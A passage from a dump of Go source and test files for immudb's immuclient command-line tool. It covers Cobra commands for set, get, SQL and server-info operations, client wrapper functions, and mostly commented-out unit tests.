tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.scan(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmd.SetArgs([]string{"scan", "k"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestCount(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.count(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmd.SetArgs([]string{"count", "key"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "1") } */ ================================================ FILE: cmd/immuclient/command/server_info.go ================================================ package immuclient import "github.com/spf13/cobra" func (cl *commandline) serverInfo(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "info", Short: "Return server information", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.ServerInfo(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(0), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/server_info_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "bytes" "io/ioutil" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/stretchr/testify/require" ) func TestServerInfo(t *testing.T) { ic := setupTest(t) cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.serverInfo(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"info"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) rsp := string(msg) require.Contains(t, rsp, "version:") } ================================================ FILE: cmd/immuclient/command/setcommands.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/spf13/cobra" ) func (cl *commandline) set(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "set key value", Short: "Add new item having the specified key and value", Aliases: []string{"s"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.Set(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(2), } cmd.AddCommand(ccmd) } func (cl *commandline) safeset(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "safeset key value", Short: "Add and verify new item having the specified key and value", Aliases: []string{"ss"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.VerifiedSet(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(2), } cmd.AddCommand(ccmd) } func (cl *commandline) restore(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "restore key@revision", Short: "Restore value for the key to given revision number", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.Restore(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) deleteKey(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "delete key value", Short: "Delete existent entry having the specified key (logical deletion)", Aliases: []string{"del"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.DeleteKey(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) zAdd(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "zadd setname score key", Short: "Add new key with score to a new or existing sorted set", Aliases: []string{"za"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.ZAdd(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MinimumNArgs(3), } cmd.AddCommand(ccmd) } func (cl *commandline) safeZAdd(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "safezadd setname score key", Short: "Add and verify new key with score to a new or existing sorted set", Aliases: []string{"sza"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.VerifiedZAdd(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MinimumNArgs(3), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/setcommands_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient /* import ( "bytes" "io/ioutil" "os" "strings" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestRawSafeSet(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.rawSafeSet(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"rawsafeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestSet(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.set(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"set", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestSafeset(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.safeset(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestZAdd(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.zAdd(cmd) cmdl.safeset(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil innercmd.PersistentPostRun = nil err := cmd.Execute() require.NoError(t, err) cmd.SetArgs([]string{"zadd", "name", "1", "key"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[2] innercmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "score") } func TestSafeZAdd(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.safeZAdd(cmd) cmdl.safeset(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil // since we issue two commands we need to remove PersistentPostRun ( disconnect ) innercmd.PersistentPostRun = nil err := cmd.Execute() require.NoError(t, err) cmd.SetArgs([]string{"safezadd", "name", "1", "key"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[2] innercmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "score") } */ ================================================ FILE: cmd/immuclient/command/sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/spf13/cobra" ) func (cl *commandline) sqlExec(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "exec", Short: "Executes sql statement", Aliases: []string{"x"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.SQLExec(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MinimumNArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) sqlQuery(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "query", Short: "Query sql statement", Aliases: []string{"q"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.SQLQuery(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MinimumNArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) listTables(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "tables", Short: "List tables", Aliases: []string{"tables"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.ListTables() if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(0), } cmd.AddCommand(ccmd) } func (cl *commandline) describeTable(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "describe", Short: "Describe table", Aliases: []string{"table"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.DescribeTable(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/tamperproofing.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "errors" "github.com/spf13/cobra" ) func (cl *commandline) consistency(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "check-consistency index hash", Short: "Check consistency for the specified index and hash", Aliases: []string{"c"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { return errors.New("not supported") /*resp, err := cl.immucl.Consistency(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil*/ }, Args: cobra.MinimumNArgs(2), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/tamperproofing_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient /* import ( "bytes" "io/ioutil" "os" "strings" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestConsistency(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.consistency(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) setmsg, err := cmdl.immucl.SafeSet([]string{"key", "value"}) require.NoError(t, err) hash := strings.Split(setmsg, "hash: ")[1] hash = hash[:64] cmd.SetArgs([]string{"check-consistency", "0", hash}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "firstRoot") } func TestInclusion(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.inclusion(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) setmsg, err := cmdl.immucl.SafeSet([]string{"key", "value"}) require.NoError(t, err) hash := strings.Split(setmsg, "hash: ")[1] hash = hash[:64] cmd.SetArgs([]string{"inclusion", "0"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "verified: true") } */ ================================================ FILE: cmd/immuclient/fips/fips.go ================================================ //go:build fips // +build fips /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "fmt" "os" "strings" _ "crypto/tls/fipsonly" c "github.com/codenotary/immudb/cmd/helper" immuclient "github.com/codenotary/immudb/cmd/immuclient/command" ) func main() { cmd := immuclient.NewCommand() err := immuclient.Execute(cmd) if err != nil { fmt.Println(cmd.Aliases) if strings.HasPrefix(err.Error(), "unknown command") { os.Exit(0) } c.QuitWithUserError(err) } } ================================================ FILE: cmd/immuclient/immuc/currentstatus.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "context" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) DatabaseHealth(args []string) (string, error) { ctx := context.Background() state, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.Health(ctx) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } return PrintHealth(state.(*schema.DatabaseHealthResponse)), nil } func (i *immuc) CurrentState(args []string) (string, error) { ctx := context.Background() state, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.CurrentState(ctx) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } return PrintState(state.(*schema.ImmutableState)), nil } ================================================ FILE: cmd/immuclient/immuc/currentstatus_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) func TestCurrentRootErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} errCurrentRoot := errors.New("CurrentRoot error") immuClientMock.CurrentRootF = func(ctx context.Context) (*schema.Root, error) { return nil, errCurrentRoot } ic := new(immuc) ic.ImmuClient = immuClientMock _, err := ic.CurrentRoot(nil) require.ErrorIs(t, err, errCurrentRoot) rpcErrMsg := "CurrentRoot RPC error" rpcErr := status.New(codes.Internal, rpcErrMsg).Err() immuClientMock.CurrentRootF = func(ctx context.Context) (*schema.Root, error) { return nil, rpcErr } resp, err := ic.CurrentRoot(nil) require.NoError(t, err) require.Equal(t, " CurrentRoot RPC error", resp) } */ ================================================ FILE: cmd/immuclient/immuc/currentstatus_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" ) func setupTest(t *testing.T) *test.ClientTest { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) ts := tokenservice.NewInmemoryTokenService() ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic.Connect(bs.Dialer) ic.Login("immudb") return ic } func TestCurrentRoot(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.VerifiedSet([]string{"key", "val"}) require.NoError(t, err) msg, err := ic.Imc.CurrentState([]string{""}) require.NoError(t, err, "CurrentState fail") require.Contains(t, msg, "hash", "CurrentState failed") } ================================================ FILE: cmd/immuclient/immuc/getcommands.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "context" "errors" "fmt" "strconv" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) var ( errZeroTxID = errors.New("tx id cannot be 0 (should be bigger than 0)") ) func (i *immuc) GetTxByID(args []string) (string, error) { id, err := strconv.ParseUint(args[0], 10, 64) if err != nil { return "", fmt.Errorf(" \"%v\" is not a valid id number", args[0]) } if id == 0 { return "", errZeroTxID } ctx := context.Background() tx, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.TxByID(ctx, id) }) if err != nil { if strings.Contains(err.Error(), "NotFound") { return fmt.Sprintf("no item exists in id:%v", id), nil } rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } return PrintTx(tx.(*schema.Tx), false), nil } func (i *immuc) VerifiedGetTxByID(args []string) (string, error) { id, err := strconv.ParseUint(args[0], 10, 64) if err != nil { return "", fmt.Errorf(" \"%v\" is not a valid id number", args[0]) } if id == 0 { return "", errZeroTxID } ctx := context.Background() tx, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.VerifiedTxByID(ctx, id) }) if err != nil { if strings.Contains(err.Error(), "NotFound") { return fmt.Sprintf("no item exists in id:%v", id), nil } rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } return PrintTx(tx.(*schema.Tx), true), nil } func (i *immuc) parseKeyArg(arg string) (key []byte, revision int64, hasRevision bool, err error) { if i.options.revisionSeparator == "" { // No revision separator - argument is the key return []byte(arg), 0, false, nil } idx := strings.LastIndex(arg, i.options.revisionSeparator) if idx < 0 { // No revision separator in the argument - that's a key without revision return []byte(arg), 0, false, nil } key = []byte(arg[:idx]) revisionStr := arg[idx+len(i.options.revisionSeparator):] revision, err = strconv.ParseInt(revisionStr, 10, 64) if err != nil { return nil, 0, false, fmt.Errorf("Invalid key revision number - not an integer: %w", err) } return key, revision, true, nil } func (i *immuc) Get(args []string) (string, error) { key, atRevision, _, err := i.parseKeyArg(args[0]) if err != nil { return "", err } ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.Get(ctx, key, client.AtRevision(atRevision)) }) if err != nil { if strings.Contains(err.Error(), "NotFound") { return fmt.Sprintf("key not found: %v ", string(key)), nil } rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } entry := response.(*schema.Entry) return PrintKV(entry, false, i.options.valueOnly), nil } func (i *immuc) VerifiedGet(args []string) (string, error) { key, atRevision, _, err := i.parseKeyArg(args[0]) if err != nil { return "", err } ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.VerifiedGet(ctx, key, client.AtRevision(atRevision)) }) if err != nil { if strings.Contains(err.Error(), "NotFound") { return fmt.Sprintf("key not found: %v ", string(key)), nil } rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } entry := response.(*schema.Entry) return PrintKV(entry, true, i.options.valueOnly), nil } ================================================ FILE: cmd/immuclient/immuc/getcommands_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc /* import ( "context" "errors" "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) func TestGetCommandsErrors(t *testing.T) { defer os.Remove(".root-") immuClientMock := &clienttest.ImmuClientMock{} ic := new(immuc) ic.ImmuClient = immuClientMock // GetByIndex _, err := ic.GetByIndex([]string{"X"}) require.ErrorIs(t, err, errors.New(` "X" is not a valid index number`)) immuClientMock.ByIndexF = func(ctx context.Context, index uint64) (*schema.StructuredItem, error) { return nil, errors.New("NotFound") } resp, err := ic.GetByIndex([]string{"0"}) require.NoError(t, err) require.Equal(t, "no item exists in index:0", resp) immuClientMock.ByIndexF = func(ctx context.Context, index uint64) (*schema.StructuredItem, error) { return nil, status.New(codes.Internal, "ByIndex RPC error").Err() } resp, err = ic.GetByIndex([]string{"0"}) require.NoError(t, err) require.Equal(t, " ByIndex RPC error", resp) errByIndex := errors.New("ByIndex error") immuClientMock.ByIndexF = func(ctx context.Context, index uint64) (*schema.StructuredItem, error) { return nil, errByIndex } _, err = ic.GetByIndex([]string{"0"}) require.ErrorIs(t, err, errByIndex) // GetKey immuClientMock.GetF = 